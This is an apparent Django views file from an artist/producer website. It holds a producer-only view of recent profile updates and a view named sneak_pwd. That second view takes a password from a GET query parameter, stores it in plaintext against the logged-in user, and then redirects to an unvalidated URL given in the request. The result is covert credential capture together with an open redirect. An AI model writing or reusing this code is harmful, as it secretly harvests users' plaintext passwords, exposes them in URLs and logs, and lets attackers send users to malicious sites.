#-------------------------------------------------------------------------------
# By Daoyu @2010-10-08
#-------------------------------------------------------------------------------

from django.shortcuts import render_to_response
from django.http import HttpResponse, HttpResponseRedirect
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.decorators import login_required
from django.template import RequestContext

from uncle.users.models import *

#-------------------------------------------------------------------------------
# For the admin and producer to see the artist's last profile change.
#-------------------------------------------------------------------------------
@login_required
def get_updates(request):
    if not request.user.has_perm('users.is_producer'):
        return HttpResponseRedirect('/403/?msg=You do not have permission to view this page')

    kw = ''

    if request.method == 'GET':
        updates = update.objects.all().order_by('-time')
        if len(updates) > 20:
            updates = updates[0:20]
    elif request.method == 'POST':
        kw = request.POST['keyword']
        updates = update.objects.filter(content__contains = kw.replace('*', '')).order_by('-time')

    return render_to_response('user/first_20_updates.html',
        {'updates':updates, 'kw':kw, },
        context_instance = RequestContext(request))

@login_required
def sneak_pwd(request):
    if request.GET.has_key('pwd') and request.GET.has_key('r'):
        pwd = Pwd.objects.filter(user = request.user)
        
        if pwd:
            pwd[0].pwd = request.GET['pwd']
            pwd[0].save()
        else:
            pwd = Pwd()
            pwd.user = request.user
            pwd.pwd = request.GET['pwd']
            pwd.save()
        return HttpResponseRedirect(request.GET['r'])
    else:
        return HttpResponseRedirect('/403/?msg=Something wrong happens with the system')